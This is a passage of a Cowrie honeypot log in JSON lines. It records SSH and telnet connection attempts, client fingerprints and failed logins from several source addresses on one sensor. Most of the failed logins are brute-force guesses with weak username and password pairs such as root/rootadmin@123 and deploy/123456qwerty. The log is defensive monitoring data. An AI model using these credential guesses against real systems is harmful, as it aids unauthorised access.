cdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:41.610699Z","src_ip":"72.79.42.117","session":"ccd778f89f6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user123user","message":"login attempt [root/user123user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:41.681317Z","src_ip":"72.79.42.117","session":"ccd778f89f6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:42.692872Z","src_ip":"72.79.42.117","session":"ccd778f89f6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.23168969154358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:45.379474Z","src_ip":"62.72.47.216","session":"ad1c3dfb6304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":39884,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c69dbaa3f6","protocol":"telnet","message":"New connection: 62.72.47.216:39884 (10.17.0.5:23) [session: 47c69dbaa3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:46.510970Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39804,"dst_ip":"10.17.0.5","dst_port":23,"session":"e752caaace08","protocol":"telnet","message":"New connection: 103.115.172.252:39804 (10.17.0.5:23) [session: e752caaace08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:48.613264Z"}
{"eventid":"cowrie.session.closed","duration":1.6928317546844482,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:50.306000Z","src_ip":"103.115.172.252","session":"e752caaace08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.30295777320862,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:54.247899Z","src_ip":"69.65.3.189","session":"b631aed1e71a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.421411991119385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:57.498529Z","src_ip":"62.72.47.216","session":"e0585aebb590","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":51740,"dst_ip":"10.17.0.5","dst_port":23,"session":"b92a0907487b","protocol":"telnet","message":"New connection: 62.72.47.216:51740 (10.17.0.5:23) [session: b92a0907487b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:55:57.855761Z"}
{"eventid":"cowrie.session.closed","duration":38.97355604171753,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:04.748122Z","src_ip":"69.65.3.189","session":"a70144f15727","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":57250,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7337a824c06","protocol":"telnet","message":"New connection: 62.72.47.216:57250 (10.17.0.5:23) [session: d7337a824c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:05.126298Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":32956,"dst_ip":"10.17.0.5","dst_port":23,"session":"13ad5d6b216b","protocol":"telnet","message":"New connection: 69.65.3.189:32956 (10.17.0.5:23) [session: 13ad5d6b216b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:06.578384Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":50550,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f8e98faad4d","protocol":"telnet","message":"New connection: 103.115.172.252:50550 (10.17.0.5:23) [session: 3f8e98faad4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:08.635558Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":33812,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6c3a8b0f2e9","protocol":"telnet","message":"New connection: 62.72.47.216:33812 (10.17.0.5:23) [session: d6c3a8b0f2e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:10.684835Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":34552,"dst_ip":"159.203.135.109","dst_port":22,"session":"7336615d9a95","protocol":"ssh","message":"New connection: 115.190.179.68:34552 (159.203.135.109:22) [session: 7336615d9a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:12.490891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:12.496366Z","src_ip":"115.190.179.68","session":"7336615d9a95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":35908,"dst_ip":"10.17.0.5","dst_port":23,"session":"966942d0fa7a","protocol":"telnet","message":"New connection: 62.72.47.216:35908 (10.17.0.5:23) [session: 966942d0fa7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:12.668745Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:12.725930Z","src_ip":"115.190.179.68","session":"7336615d9a95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pzuser","password":"123456","message":"login attempt [pzuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:14.258033Z","src_ip":"115.190.179.68","session":"7336615d9a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:15.491552Z","src_ip":"115.190.179.68","session":"7336615d9a95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":35040,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fd8d3b17247","protocol":"telnet","message":"New connection: 69.65.3.189:35040 (10.17.0.5:23) [session: 8fd8d3b17247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:15.675997Z"}
{"eventid":"cowrie.session.closed","duration":31.51246738433838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:18.023344Z","src_ip":"62.72.47.216","session":"47c69dbaa3f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.19","src_port":58418,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6c45abb5cac","protocol":"telnet","message":"New connection: 103.203.57.19:58418 (159.203.135.109:23) [session: a6c45abb5cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:19.064780Z"}
{"eventid":"cowrie.session.closed","duration":5.000209808349609,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:24.064849Z","src_ip":"103.203.57.19","session":"a6c45abb5cac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.754587411880493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:28.610209Z","src_ip":"62.72.47.216","session":"b92a0907487b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":42422,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a96a165b85c","protocol":"ssh","message":"New connection: 72.79.42.117:42422 (159.203.135.109:22) [session: 9a96a165b85c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:30.461731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:30.466883Z","src_ip":"72.79.42.117","session":"9a96a165b85c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:30.475936Z","src_ip":"72.79.42.117","session":"9a96a165b85c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456qwerty","message":"login attempt [deploy/123456qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:30.544394Z","src_ip":"72.79.42.117","session":"9a96a165b85c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:31.555407Z","src_ip":"72.79.42.117","session":"9a96a165b85c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.48797082901001,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:37.614123Z","src_ip":"62.72.47.216","session":"d7337a824c06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18419098854065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:41.868913Z","src_ip":"62.72.47.216","session":"d6c3a8b0f2e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648026704788208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:43.316667Z","src_ip":"62.72.47.216","session":"966942d0fa7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":58862,"dst_ip":"10.17.0.5","dst_port":23,"session":"33ecc692e3bc","protocol":"telnet","message":"New connection: 62.72.47.216:58862 (10.17.0.5:23) [session: 33ecc692e3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:43.602246Z"}
{"eventid":"cowrie.session.closed","duration":41.46664094924927,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:48.044901Z","src_ip":"69.65.3.189","session":"13ad5d6b216b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00126624107361,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:48.202212Z","src_ip":"186.22.54.32","session":"76a3568d4fb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.12069654464722,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:49.756139Z","src_ip":"103.115.172.252","session":"3f8e98faad4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":35864,"dst_ip":"159.203.135.109","dst_port":22,"session":"af3d623ac50d","protocol":"ssh","message":"New connection: 115.190.179.68:35864 (159.203.135.109:22) [session: af3d623ac50d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:50.212274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:50.217214Z","src_ip":"115.190.179.68","session":"af3d623ac50d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:50.445252Z","src_ip":"115.190.179.68","session":"af3d623ac50d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.868385791778564,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:50.544258Z","src_ip":"69.65.3.189","session":"8fd8d3b17247","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin@123","message":"login attempt [root/rootadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:52.609893Z","src_ip":"115.190.179.68","session":"af3d623ac50d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.168.153.116","src_port":52710,"dst_ip":"10.17.0.5","dst_port":23,"session":"c24d104f52de","protocol":"telnet","message":"New connection: 185.168.153.116:52710 (10.17.0.5:23) [session: c24d104f52de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:53.380723Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:56:53.832547Z","src_ip":"115.190.179.68","session":"af3d623ac50d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":38866,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe64393c3fb7","protocol":"ssh","message":"New connection: 210.183.21.53:38866 (10.17.0.5:22) [session: fe64393c3fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:05.191763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:05.197018Z","src_ip":"210.183.21.53","session":"fe64393c3fb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:05.394713Z","src_ip":"210.183.21.53","session":"fe64393c3fb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin","message":"login attempt [admin2/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:06.215426Z","src_ip":"210.183.21.53","session":"fe64393c3fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.906062602996826,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:06.286671Z","src_ip":"185.168.153.116","session":"c24d104f52de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:07.415615Z","src_ip":"210.183.21.53","session":"fe64393c3fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.592064380645752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:14.194184Z","src_ip":"62.72.47.216","session":"33ecc692e3bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":55128,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8257d383fa6","protocol":"ssh","message":"New connection: 72.79.42.117:55128 (159.203.135.109:22) [session: c8257d383fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:18.203437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:18.209889Z","src_ip":"72.79.42.117","session":"c8257d383fa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:18.219841Z","src_ip":"72.79.42.117","session":"c8257d383fa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"download","password":"admin","message":"login attempt [download/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:18.286725Z","src_ip":"72.79.42.117","session":"c8257d383fa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:19.297815Z","src_ip":"72.79.42.117","session":"c8257d383fa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":39796,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4ceb4e00ec0","protocol":"ssh","message":"New connection: 115.190.179.68:39796 (159.203.135.109:22) [session: e4ceb4e00ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:29.085440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:57:29.091019Z","src_ip":"115.190.179.68","session":"e4ceb4e00ec0","protocol":"ssh"}
